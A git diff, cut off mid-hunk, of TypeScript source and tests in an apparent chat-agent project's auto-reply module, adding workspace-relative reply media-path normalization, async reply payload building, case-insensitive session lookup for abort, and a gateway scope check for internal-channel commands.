a/src/auto-reply/command-control.test.ts b/src/auto-reply/command-control.test.ts index cb829871b10..9d5dc1de094 100644 --- a/src/auto-reply/command-control.test.ts +++ b/src/auto-reply/command-control.test.ts @@ -1,4 +1,4 @@ -import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createOutboundTestPlugin, createTestRegistry } from "../test-utils/channel-plugins.js"; @@ -8,23 +8,9 @@ import { listChatCommands } from "./commands-registry.js"; import { parseActivationCommand } from "./group-activation.js"; import { parseSendPolicyCommand } from "./send-policy.js"; import type { MsgContext } from "./templating.js"; +import { installDiscordRegistryHooks } from "./test-helpers/command-auth-registry-fixture.js"; -const createRegistry = () => - createTestRegistry([ - { - pluginId: "discord", - plugin: createOutboundTestPlugin({ id: "discord", outbound: { deliveryMode: "direct" } }), - source: "test", - }, - ]); - -beforeEach(() => { - setActivePluginRegistry(createRegistry()); -}); - -afterEach(() => { - setActivePluginRegistry(createRegistry()); -}); +installDiscordRegistryHooks(); describe("resolveCommandAuthorization", () => { function resolveWhatsAppAuthorization(params: { diff --git a/src/auto-reply/inbound.test.ts b/src/auto-reply/inbound.test.ts index e4a8dfb9534..f602c7dca60 100644 --- a/src/auto-reply/inbound.test.ts +++ b/src/auto-reply/inbound.test.ts @@ -469,4 +469,52 @@ describe("resolveGroupRequireMention", () => { expect(resolveGroupRequireMention({ cfg, ctx, groupResolution })).toBe(false); }); + + it("respects LINE prefixed group keys in reply-stage requireMention resolution", () => { + const cfg: OpenClawConfig = { + channels: { + line: { + groups: { + "room:r123": { requireMention: false }, + }, + }, + }, + }; + const ctx: TemplateContext = { + Provider: "line", + From: "line:room:r123", + }; + const groupResolution: GroupKeyResolution = { + key: "line:group:r123", + channel: "line", + id: "r123", + chatType: "group", + }; + + expect(resolveGroupRequireMention({ cfg, ctx, groupResolution })).toBe(false); + }); + + it("preserves plugin-backed channel requireMention resolution", () => { + const cfg: OpenClawConfig = { + channels: { + bluebubbles: { + groups: { + "chat:primary": { requireMention: false }, + }, + }, + }, + }; + const ctx: TemplateContext = { + Provider: "bluebubbles", + From: "bluebubbles:group:chat:primary", + }; + const groupResolution: GroupKeyResolution = { + key: "bluebubbles:group:chat:primary", + channel: "bluebubbles", + id: "chat:primary", + chatType: "group", + }; + + expect(resolveGroupRequireMention({ cfg, ctx, groupResolution })).toBe(false); + }); }); diff --git a/src/auto-reply/reply.block-streaming.test.ts b/src/auto-reply/reply.block-streaming.test.ts index 0ac2574fce6..456b8a40f95 100644 --- a/src/auto-reply/reply.block-streaming.test.ts +++ b/src/auto-reply/reply.block-streaming.test.ts @@ -211,7 +211,7 @@ describe("block streaming", () => { expect(onBlockReply).toHaveBeenCalledTimes(1); expect(onBlockReply.mock.calls[0][0]).toMatchObject({ text: "Result", - mediaUrls: ["./image.png"], + mediaUrls: [path.join(home, "openclaw", "image.png")], }); }); }); diff --git a/src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.test.ts b/src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.test.ts index ccaab1280f7..f15ff26e941 100644 --- a/src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.prefers-alias-matches-fuzzy-selection-is-ambiguous.test.ts @@ -57,7 +57,7 @@ function makeMoonshotConfig(home: string, storePath: string) { providers: { moonshot: { baseUrl: "https://api.moonshot.ai/v1", - apiKey: "sk-test", + apiKey: "sk-test", // pragma: allowlist secret api: "openai-completions", models: [makeModelDefinition("kimi-k2-0905-preview", "Kimi K2")], }, @@ -133,13 +133,13 @@ describe("directive behavior", () => { providers: { minimax: { baseUrl: "https://api.minimax.io/anthropic", - apiKey: "sk-test", + apiKey: "sk-test", // pragma: allowlist secret api: "anthropic-messages", models: [makeModelDefinition("MiniMax-M2.5", "MiniMax M2.5")], }, lmstudio: { baseUrl: "http://127.0.0.1:1234/v1", - apiKey: "lmstudio", + apiKey: "lmstudio", // pragma: allowlist secret api: "openai-responses", models: [makeModelDefinition("minimax-m2.5-gs32", "MiniMax M2.5 GS32")], }, @@ -166,7 +166,7 @@ describe("directive behavior", () => { providers: { minimax: { baseUrl: "https://api.minimax.io/anthropic", - apiKey: "sk-test", + apiKey: "sk-test", // pragma: allowlist secret api: "anthropic-messages", models: [ makeModelDefinition("MiniMax-M2.5", "MiniMax M2.5"), @@ -215,13 +215,13 @@ describe("directive behavior", () => { providers: { moonshot: { baseUrl: "https://api.moonshot.ai/v1", - apiKey: "sk-test", + apiKey: "sk-test", // pragma: allowlist secret api: "openai-completions", models: [makeModelDefinition("kimi-k2-0905-preview", "Kimi K2")], }, lmstudio: { baseUrl: "http://127.0.0.1:1234/v1", - apiKey: "lmstudio", + apiKey: "lmstudio", // pragma: allowlist secret api: "openai-responses", models: [makeModelDefinition("kimi-k2-0905-preview", "Kimi K2 (Local)")], }, diff --git a/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts b/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts index 1a738d5731f..c96bf6c65a0 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts @@ -213,7 +213,7 @@ export function registerTriggerHandlingUsageSummaryCases(params: { expect(text).toContain("api-key"); expect(text).not.toContain("sk-test"); expect(text).not.toContain("abcdef"); - expect(text).not.toContain("1234567890abcdef"); + expect(text).not.toContain("1234567890abcdef"); // pragma: allowlist secret expect(text).toContain("(anthropic:work)"); expect(text).not.toContain("mixed"); expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); diff --git a/src/auto-reply/reply/abort.test.ts b/src/auto-reply/reply/abort.test.ts index dab520e6b24..df6fa228890 100644 --- a/src/auto-reply/reply/abort.test.ts +++ b/src/auto-reply/reply/abort.test.ts @@ -356,6 +356,20 @@ describe("abort detection", () => { expect(resolveSessionEntryForKey(undefined, "session-1")).toEqual({}); }); + it("resolves Telegram forum topic session when lookup key has different casing than store", () => { + // Store normalizes keys to lowercase; caller may pass mixed-case. /stop in topic must find entry. + const storeKey = "agent:main:telegram:group:-1001234567890:topic:99"; + const lookupKey = "Agent:Main:Telegram:Group:-1001234567890:Topic:99"; + const store = { + [storeKey]: { sessionId: "pi-topic-99", updatedAt: 0 }, + } as Record; + // Direct lookup fails (store uses lowercase keys); normalization fallback must succeed. + expect(store[lookupKey]).toBeUndefined(); + const result = resolveSessionEntryForKey(store, lookupKey); + expect(result.entry?.sessionId).toBe("pi-topic-99"); + expect(result.key).toBe(storeKey); + }); + it("fast-aborts even when text commands are disabled", async () => { const { cfg } = await createAbortConfig({ commandsTextEnabled: false }); diff --git a/src/auto-reply/reply/abort.ts b/src/auto-reply/reply/abort.ts index ba4d92b1dfa..d0f97f04fa8 100644 --- a/src/auto-reply/reply/abort.ts +++ b/src/auto-reply/reply/abort.ts @@ -12,6 +12,7 @@ import { import type { OpenClawConfig } from "../../config/config.js"; import { loadSessionStore, + resolveSessionStoreEntry, resolveStorePath, type SessionEntry, updateSessionStore, @@ -172,13 +173,22 @@ export function formatAbortReplyText(stoppedSubagents?: number): string { export function resolveSessionEntryForKey( store: Record | undefined, sessionKey: string | undefined, -) { +): { entry?: SessionEntry; key?: string; legacyKeys?: string[] } { if (!store || !sessionKey) { return {}; } - const direct = store[sessionKey]; - if (direct) { - return { entry: direct, key: sessionKey }; + const resolved = resolveSessionStoreEntry({ store, sessionKey }); + if (resolved.existing) { + return resolved.legacyKeys.length > 0 + ? { + entry: resolved.existing, + key: resolved.normalizedKey, + legacyKeys: resolved.legacyKeys, + } + : { + entry: resolved.existing, + key: resolved.normalizedKey, + }; } return {}; } @@ -301,7 +311,7 @@ export async function tryFastAbortFromMessage(params: { if (targetKey) { const storePath = resolveStorePath(cfg.session?.store, { agentId }); const store = loadSessionStore(storePath); - const { entry, key } = resolveSessionEntryForKey(store, targetKey); + const { entry, key, legacyKeys } = resolveSessionEntryForKey(store, targetKey); const resolvedTargetKey = key ?? targetKey; const acpManager = getAcpSessionManager(); const acpResolution = acpManager.resolveSession({ @@ -340,6 +350,11 @@ export async function tryFastAbortFromMessage(params: { applyAbortCutoffToSessionEntry(entry, abortCutoff); entry.updatedAt = Date.now(); store[key] = entry; + for (const legacyKey of legacyKeys ?? []) { + if (legacyKey !== key) { + delete store[legacyKey]; + } + } await updateSessionStore(storePath, (nextStore) => { const nextEntry = nextStore[key] ?? entry; if (!nextEntry) { @@ -349,6 +364,11 @@ export async function tryFastAbortFromMessage(params: { applyAbortCutoffToSessionEntry(nextEntry, abortCutoff); nextEntry.updatedAt = Date.now(); nextStore[key] = nextEntry; + for (const legacyKey of legacyKeys ?? []) { + if (legacyKey !== key) { + delete nextStore[legacyKey]; + } + } }); } else if (abortKey) { setAbortMemory(abortKey, true); diff --git a/src/auto-reply/reply/agent-runner-execution.ts b/src/auto-reply/reply/agent-runner-execution.ts index ed843a73014..6748e3cbe68 100644 --- a/src/auto-reply/reply/agent-runner-execution.ts +++ b/src/auto-reply/reply/agent-runner-execution.ts @@ -45,6 +45,7 @@ import { import { type BlockReplyPipeline } from "./block-reply-pipeline.js"; import type { FollowupRun } from "./queue.js"; import { createBlockReplyDeliveryHandler } from "./reply-delivery.js"; +import { createReplyMediaPathNormalizer } from "./reply-media-paths.js"; import type { TypingSignaler } from "./typing-mode.js"; export type RuntimeFallbackAttempt = { @@ -106,6 +107,11 @@ export async function runAgentTurnWithFallback(params: { const directlySentBlockKeys = new Set(); const runId = params.opts?.runId ?? crypto.randomUUID(); + const normalizeReplyMediaPaths = createReplyMediaPathNormalizer({ + cfg: params.followupRun.run.config, + sessionKey: params.sessionKey, + workspaceDir: params.followupRun.run.workspaceDir, + }); let didNotifyAgentRunStart = false; const notifyAgentRunStart = () => { if (didNotifyAgentRunStart) { @@ -311,7 +317,7 @@ export async function runAgentTurnWithFallback(params: { model, runId, authProfile, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, }); return (async () => { const result = await runEmbeddedPiAgent({ @@ -402,6 +408,7 @@ export async function runAgentTurnWithFallback(params: { params.sessionCtx.MessageSidFull ?? params.sessionCtx.MessageSid, normalizeStreamingText, applyReplyToMode: params.applyReplyToMode, + normalizeMediaPaths: normalizeReplyMediaPaths, typingSignals: params.typingSignals, blockStreamingEnabled: params.blockStreamingEnabled, blockReplyPipeline, diff --git a/src/auto-reply/reply/agent-runner-memory.ts b/src/auto-reply/reply/agent-runner-memory.ts index ddb65d0fa22..374d37d52f7 100644 --- a/src/auto-reply/reply/agent-runner-memory.ts +++ b/src/auto-reply/reply/agent-runner-memory.ts @@ -487,7 +487,7 @@ export async function runMemoryFlushIfNeeded(params: { model, runId: flushRunId, authProfile, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, }); const result = await runEmbeddedPiAgent({ ...embeddedContext, diff --git a/src/auto-reply/reply/agent-runner-payloads.test.ts b/src/auto-reply/reply/agent-runner-payloads.test.ts index 138efd8e49d..94088b2b5b8 100644 --- a/src/auto-reply/reply/agent-runner-payloads.test.ts +++ b/src/auto-reply/reply/agent-runner-payloads.test.ts @@ -10,8 +10,8 @@ const baseParams = { }; describe("buildReplyPayloads media filter integration", () => { - it("strips media URL from payload when in messagingToolSentMediaUrls", () => { - const { replyPayloads } = buildReplyPayloads({ + it("strips media URL from payload when in messagingToolSentMediaUrls", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello", mediaUrl: "file:///tmp/photo.jpg" }], messagingToolSentMediaUrls: ["file:///tmp/photo.jpg"], @@ -21,8 +21,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0].mediaUrl).toBeUndefined(); }); - it("preserves media URL when not in messagingToolSentMediaUrls", () => { - const { replyPayloads } = buildReplyPayloads({ + it("preserves media URL when not in messagingToolSentMediaUrls", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello", mediaUrl: "file:///tmp/photo.jpg" }], messagingToolSentMediaUrls: ["file:///tmp/other.jpg"], @@ -32,8 +32,63 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0].mediaUrl).toBe("file:///tmp/photo.jpg"); }); - it("applies media filter after text filter", () => { - const { replyPayloads } = buildReplyPayloads({ + it("normalizes sent media URLs before deduping normalized reply media", async () => { + const normalizeMediaPaths = async (payload: { mediaUrl?: string; mediaUrls?: string[] }) => { + const normalizeMedia = (value?: string) => + value === "./out/photo.jpg" ? "/tmp/workspace/out/photo.jpg" : value; + return { + ...payload, + mediaUrl: normalizeMedia(payload.mediaUrl), + mediaUrls: payload.mediaUrls?.map((value) => normalizeMedia(value) ?? value), + }; + }; + + const { replyPayloads } = await buildReplyPayloads({ + ...baseParams, + payloads: [{ text: "hello", mediaUrl: "./out/photo.jpg" }], + messagingToolSentMediaUrls: ["./out/photo.jpg"], + normalizeMediaPaths, + }); + + expect(replyPayloads).toHaveLength(1); + expect(replyPayloads[0]).toMatchObject({ + text: "hello", + mediaUrl: undefined, + mediaUrls: undefined, + }); + }); + + it("drops only invalid media when reply media normalization fails", async () => { + const normalizeMediaPaths = async (payload: { mediaUrl?: string }) => { + if (payload.mediaUrl === "./bad.png") { + throw new Error("Path escapes sandbox root"); + } + return payload; + }; + + const { replyPayloads } = await buildReplyPayloads({ + ...baseParams, + payloads: [ + { text: "keep text", mediaUrl: "./bad.png", audioAsVoice: true }, + { text: "keep second" }, + ], + normalizeMediaPaths, + }); + + expect(replyPayloads).toHaveLength(2); + expect(replyPayloads[0]).toMatchObject({ + text: "keep text", + mediaUrl: undefined, + mediaUrls: undefined, + audioAsVoice: false, + }); + expect(replyPayloads[1]).toMatchObject({ + text: "keep second", + }); + }); + + it("applies media filter after text filter", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!", mediaUrl: "file:///tmp/photo.jpg" }], messagingToolSentTexts: ["hello world!"], @@ -44,8 +99,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("does not dedupe text for cross-target messaging sends", () => { - const { replyPayloads } = buildReplyPayloads({ + it("does not dedupe text for cross-target messaging sends", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "telegram", @@ -58,8 +113,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0]?.text).toBe("hello world!"); }); - it("does not dedupe media for cross-target messaging sends", () => { - const { replyPayloads } = buildReplyPayloads({ + it("does not dedupe media for cross-target messaging sends", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "photo", mediaUrl: "file:///tmp/photo.jpg" }], messageProvider: "telegram", @@ -72,8 +127,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads[0]?.mediaUrl).toBe("file:///tmp/photo.jpg"); }); - it("suppresses same-target replies when messageProvider is synthetic but originatingChannel is set", () => { - const { replyPayloads } = buildReplyPayloads({ + it("suppresses same-target replies when messageProvider is synthetic but originatingChannel is set", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", @@ -86,8 +141,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("suppresses same-target replies when message tool target provider is generic", () => { - const { replyPayloads } = buildReplyPayloads({ + it("suppresses same-target replies when message tool target provider is generic", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", @@ -100,8 +155,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("suppresses same-target replies when target provider is channel alias", () => { - const { replyPayloads } = buildReplyPayloads({ + it("suppresses same-target replies when target provider is channel alias", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", @@ -114,8 +169,8 @@ describe("buildReplyPayloads media filter integration", () => { expect(replyPayloads).toHaveLength(0); }); - it("does not suppress same-target replies when accountId differs", () => { - const { replyPayloads } = buildReplyPayloads({ + it("does not suppress same-target replies when accountId differs", async () => { + const { replyPayloads } = await buildReplyPayloads({ ...baseParams, payloads: [{ text: "hello world!" }], messageProvider: "heartbeat", diff --git a/src/auto-reply/reply/agent-runner-payloads.ts b/src/auto-reply/reply/agent-runner-payloads.ts index 38737171c35..263dea9fd54 100644 --- a/src/auto-reply/reply/agent-runner-payloads.ts +++ b/src/auto-reply/reply/agent-runner-payloads.ts @@ -20,7 +20,77 @@ import { shouldSuppressMessagingToolReplies, } from "./reply-payloads.js"; -export function buildReplyPayloads(params: { +function hasPayloadMedia(payload: ReplyPayload): boolean { + return Boolean(payload.mediaUrl) || (payload.mediaUrls?.length ?? 0) > 0; +} + +async function normalizeReplyPayloadMedia(params: { + payload: ReplyPayload; + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; +}): Promise { + if (!params.normalizeMediaPaths || !hasPayloadMedia(params.payload)) { + return params.payload; + } + + try { + return await params.normalizeMediaPaths(params.payload); + } catch (err) { + logVerbose(`reply payload media normalization failed: ${String(err)}`); + return { + ...params.payload, + mediaUrl: undefined, + mediaUrls: undefined, + audioAsVoice: false, + }; + } +} + +async function normalizeSentMediaUrlsForDedupe(params: { + sentMediaUrls: string[]; + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; +}): Promise { + if (params.sentMediaUrls.length === 0 || !params.normalizeMediaPaths) { + return params.sentMediaUrls; + } + + const normalizedUrls: string[] = []; + const seen = new Set(); + for (const raw of params.sentMediaUrls) { + const trimmed = raw.trim(); + if (!trimmed) { + continue; + } + if (!seen.has(trimmed)) { + seen.add(trimmed); + normalizedUrls.push(trimmed); + } + try { + const normalized = await params.normalizeMediaPaths({ + mediaUrl: trimmed, + mediaUrls: [trimmed], + }); + const normalizedMediaUrls = normalized.mediaUrls?.length + ? normalized.mediaUrls + : normalized.mediaUrl + ? [normalized.mediaUrl] + : []; + for (const mediaUrl of normalizedMediaUrls) { + const candidate = mediaUrl.trim(); + if (!candidate || seen.has(candidate)) { + continue; + } + seen.add(candidate); + normalizedUrls.push(candidate); + } + } catch (err) { + logVerbose(`messaging tool sent-media normalization failed: ${String(err)}`); + } + } + + return normalizedUrls; +} + +export async function buildReplyPayloads(params: { payloads: ReplyPayload[]; isHeartbeat: boolean; didLogHeartbeatStrip: boolean; @@ -40,7 +110,8 @@ export function buildReplyPayloads(params: { originatingChannel?: OriginatingChannelType; originatingTo?: string; accountId?: string; -}): { replyPayloads: ReplyPayload[]; didLogHeartbeatStrip: boolean } { + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; +}): Promise<{ replyPayloads: ReplyPayload[]; didLogHeartbeatStrip: boolean }> { let didLogHeartbeatStrip = params.didLogHeartbeatStrip; const sanitizedPayloads = params.isHeartbeat ? params.payloads @@ -66,22 +137,27 @@ export function buildReplyPayloads(params: { return [{ ...payload, text: stripped.text }]; }); - const replyTaggedPayloads: ReplyPayload[] = applyReplyThreading({ - payloads: sanitizedPayloads, - replyToMode: params.replyToMode, - replyToChannel: params.replyToChannel, - currentMessageId: params.currentMessageId, - }) - .map( - (payload) => - normalizeReplyPayloadDirectives({ + const replyTaggedPayloads = ( + await Promise.all( + applyReplyThreading({ + payloads: sanitizedPayloads, + replyToMode: params.replyToMode, + replyToChannel: params.replyToChannel, + currentMessageId: params.currentMessageId, + }).map(async (payload) => { + const parsed = normalizeReplyPayloadDirectives({ payload, currentMessageId: params.currentMessageId, silentToken: SILENT_REPLY_TOKEN, parseMode: "always", - }).payload, + }).payload; + return await normalizeReplyPayloadMedia({ + payload: parsed, + normalizeMediaPaths: params.normalizeMediaPaths, + }); + }), ) - .filter(isRenderablePayload); + ).filter(isRenderablePayload); // Drop final payloads only when block streaming succeeded end-to-end. // If streaming aborted (e.g., timeout), fall back to final payloads. @@ -110,6 +186,12 @@ export function buildReplyPayloads(params: { // If target metadata is unavailable, keep legacy dedupe behavior. const dedupeMessagingToolPayloads = suppressMessagingToolReplies || messagingToolSentTargets.length === 0; + const messagingToolSentMediaUrls = dedupeMessagingToolPayloads + ? await normalizeSentMediaUrlsForDedupe({ + sentMediaUrls: params.messagingToolSentMediaUrls ?? [], + normalizeMediaPaths: params.normalizeMediaPaths, + }) + : (params.messagingToolSentMediaUrls ?? []); const dedupedPayloads = dedupeMessagingToolPayloads ? filterMessagingToolDuplicates({ payloads: replyTaggedPayloads, @@ -119,7 +201,7 @@ export function buildReplyPayloads(params: { const mediaFilteredPayloads = dedupeMessagingToolPayloads ? filterMessagingToolMediaDuplicates({ payloads: dedupedPayloads, - sentMediaUrls: params.messagingToolSentMediaUrls ?? [], + sentMediaUrls: messagingToolSentMediaUrls, }) : dedupedPayloads; // Filter out payloads already sent via pipeline or directly during tool flush. diff --git a/src/auto-reply/reply/agent-runner-utils.ts b/src/auto-reply/reply/agent-runner-utils.ts index 960a1f21fed..b7ec4858e51 100644 --- a/src/auto-reply/reply/agent-runner-utils.ts +++ b/src/auto-reply/reply/agent-runner-utils.ts @@ -166,7 +166,7 @@ export function buildEmbeddedRunBaseParams(params: { model: string; runId: string; authProfile: ReturnType; - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }) { return { sessionFile: params.run.sessionFile, @@ -187,7 +187,7 @@ export function buildEmbeddedRunBaseParams(params: { bashElevated: params.run.bashElevated, timeoutMs: params.run.timeoutMs, runId: params.runId, - allowRateLimitCooldownProbe: params.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: params.allowTransientCooldownProbe, }; } diff --git a/src/auto-reply/reply/agent-runner.media-paths.test.ts b/src/auto-reply/reply/agent-runner.media-paths.test.ts new file mode 100644 index 00000000000..f5658287aff --- /dev/null +++ b/src/auto-reply/reply/agent-runner.media-paths.test.ts @@ -0,0 +1,130 @@ +import path from "node:path"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { TemplateContext } from "../templating.js"; +import type { FollowupRun, QueueSettings } from "./queue.js"; +import { createMockTypingController } from "./test-helpers.js"; + +const runEmbeddedPiAgentMock = vi.fn(); +const runWithModelFallbackMock = vi.fn(); + +vi.mock("../../agents/model-fallback.js", () => ({ + runWithModelFallback: (params: { + provider: string; + model: string; + run: (provider: string, model: string) => Promise; + }) => runWithModelFallbackMock(params), +})); + +vi.mock("../../agents/pi-embedded.js", async () => { + const actual = await vi.importActual( + "../../agents/pi-embedded.js", + ); + return { + ...actual, + queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), + runEmbeddedPiAgent: (params: unknown) => runEmbeddedPiAgentMock(params), + }; +}); + +vi.mock("./queue.js", async () => { + const actual = await vi.importActual("./queue.js"); + return { + ...actual, + enqueueFollowupRun: vi.fn(), + scheduleFollowupDrain: vi.fn(), + }; +}); + +import { runReplyAgent } from "./agent-runner.js"; + +describe("runReplyAgent media path normalization", () => { + beforeEach(() => { + runEmbeddedPiAgentMock.mockReset(); + runWithModelFallbackMock.mockReset(); + runWithModelFallbackMock.mockImplementation( + async ({ + provider, + model, + run, + }: { + provider: string; + model: string; + run: (...args: unknown[]) => Promise; + }) => ({ + result: await run(provider, model), + provider, + model, + }), + ); + }); + + it("normalizes final MEDIA replies against the run workspace", async () => { + runEmbeddedPiAgentMock.mockResolvedValue({ + payloads: [{ text: "MEDIA:./out/generated.png" }], + meta: { + agentMeta: { + sessionId: "session", + provider: "anthropic", + model: "claude", + }, + }, + }); + + const result = await runReplyAgent({ + commandBody: "generate", + followupRun: { + prompt: "generate", + enqueuedAt: Date.now(), + run: { + agentId: "main", + agentDir: "/tmp/agent", + sessionId: "session", + sessionKey: "main", + messageProvider: "telegram", + sessionFile: "/tmp/session.jsonl", + workspaceDir: "/tmp/workspace", + config: {}, + provider: "anthropic", + model: "claude", + thinkLevel: "low", + verboseLevel: "off", + elevatedLevel: "off", + bashElevated: { + enabled: false, + allowed: false, + defaultLevel: "off", + }, + timeoutMs: 1_000, + blockReplyBreak: "message_end", + }, + } as unknown as FollowupRun, + queueKey: "main", + resolvedQueue: { mode: "interrupt" } as QueueSettings, + shouldSteer: false, + shouldFollowup: false, + isActive: false, + isStreaming: false, + typing: createMockTypingController(), + sessionCtx: { + Provider: "telegram", + Surface: "telegram", + To: "chat-1", + OriginatingTo: "chat-1", + AccountId: "default", + MessageSid: "msg-1", + } as unknown as TemplateContext, + defaultModel: "anthropic/claude", + resolvedVerboseLevel: "off", + isNewSession: false, + blockStreamingEnabled: false, + resolvedBlockStreamingBreak: "message_end", + shouldInjectGroupIntro: false, + typingMode: "instant", + }); + + expect(result).toMatchObject({ + mediaUrl: path.join("/tmp/workspace", "out", "generated.png"), + mediaUrls: [path.join("/tmp/workspace", "out", "generated.png")], + }); + }); +}); diff --git a/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts b/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts index a4f689412ab..83c1796515c 100644 --- a/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts +++ b/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts @@ -1054,6 +1054,11 @@ describe("runReplyAgent typing (heartbeat)", () => { reportedReason: "rate_limit", expectedReason: "rate limit", }, + { + existingReason: undefined, + reportedReason: "overloaded", + expectedReason: "overloaded", + }, { existingReason: "rate limit", reportedReason: "timeout", diff --git a/src/auto-reply/reply/agent-runner.ts b/src/auto-reply/reply/agent-runner.ts index 8b126382dbc..b6dcd7dcd91 100644 --- a/src/auto-reply/reply/agent-runner.ts +++ b/src/auto-reply/reply/agent-runner.ts @@ -52,6 +52,7 @@ import { resolveOriginMessageProvider, resolveOriginMessageTo } from "./origin-r import { readPostCompactionContext } from "./post-compaction-context.js"; import { resolveActiveRunQueueAction } from "./queue-policy.js"; import { enqueueFollowupRun, type FollowupRun, type QueueSettings } from "./queue.js"; +import { createReplyMediaPathNormalizer } from "./reply-media-paths.js"; import { createReplyToModeFilterForChannel, resolveReplyToMode } from "./reply-threading.js"; import { incrementRunCompactionCount, persistRunSessionUsage } from "./session-run-accounting.js"; import { createTypingSignaler } from "./typing-mode.js"; @@ -154,6 +155,11 @@ export async function runReplyAgent(params: { ); const applyReplyToMode = createReplyToModeFilterForChannel(replyToMode, replyToChannel); const cfg = followupRun.run.config; + const normalizeReplyMediaPaths = createReplyMediaPathNormalizer({ + cfg, + sessionKey, + workspaceDir: followupRun.run.workspaceDir, + }); const blockReplyCoalescing = blockStreamingEnabled && opts?.onBlockReply ? resolveEffectiveBlockStreamingConfig({ @@ -475,7 +481,7 @@ export async function runReplyAgent(params: { return finalizeWithFollowup(undefined, queueKey, runFollowupTurn); } - const payloadResult = buildReplyPayloads({ + const payloadResult = await buildReplyPayloads({ payloads: payloadArray, isHeartbeat, didLogHeartbeatStrip, @@ -495,6 +501,7 @@ export async function runReplyAgent(params: { to: sessionCtx.To, }), accountId: sessionCtx.AccountId, + normalizeMediaPaths: normalizeReplyMediaPaths, }); const { replyPayloads } = payloadResult; didLogHeartbeatStrip = payloadResult.didLogHeartbeatStrip; diff --git a/src/auto-reply/reply/command-gates.ts b/src/auto-reply/reply/command-gates.ts index 721d9c1e261..49cf21c6861 100644 --- a/src/auto-reply/reply/command-gates.ts +++ b/src/auto-reply/reply/command-gates.ts @@ -1,6 +1,7 @@ import type { CommandFlagKey } from "../../config/commands.js"; import { isCommandFlagEnabled } from "../../config/commands.js"; import { logVerbose } from "../../globals.js"; +import { isInternalMessageChannel } from "../../utils/message-channel.js"; import type { ReplyPayload } from "../types.js"; import type { CommandHandlerResult, HandleCommandsParams } from "./commands-types.js"; @@ -17,6 +18,30 @@ export function rejectUnauthorizedCommand( return { shouldContinue: false }; } +export function requireGatewayClientScopeForInternalChannel( + params: HandleCommandsParams, + config: { + label: string; + allowedScopes: string[]; + missingText: string; + }, +): CommandHandlerResult | null { + if (!isInternalMessageChannel(params.command.channel)) { + return null; + } + const scopes = params.ctx.GatewayClientScopes ?? []; + if (config.allowedScopes.some((scope) => scopes.includes(scope))) { + return null; + } + logVerbose( + `Ignoring ${config.label} from gateway client missing scope: ${config.allowedScopes.join(" or ")}`, + ); + return { + shouldContinue: false, + reply: { text: config.missingText }, + }; +} + export function buildDisabledCommandReply(params: { label: string; configKey: CommandFlagKey; diff --git a/src/auto-reply/reply/commands-allowlist.ts b/src/auto-reply/reply/commands-allowlist.ts index e4b9b7af561..13c79dc796d 100644 --- a/src/auto-reply/reply/commands-allowlist.ts +++ b/src/auto-reply/reply/commands-allowlist.ts @@ -196,6 +196,31 @@ function extractConfigAllowlist(account: { }; } +async function updatePairingStoreAllowlist(params: { + action: "add" | "remove"; + channelId: ChannelId; + accountId?: string; + entry: string; +}) { + const storeEntry = { + channel: params.channelId, + entry: params.entry, + accountId: params.accountId, + }; + if (params.action === "add") { + await addChannelAllowFromStoreEntry(storeEntry); + return; + } + + await removeChannelAllowFromStoreEntry(storeEntry); + if (params.accountId === DEFAULT_ACCOUNT_ID) { + await removeChannelAllowFromStoreEntry({ + channel: params.channelId, + entry: params.entry, + }); + } +} + function resolveAccountTarget( parsed: Record, channelId: ChannelId, @@ -695,11 +720,12 @@ export const handleAllowlistCommand: CommandHandler = async (params, 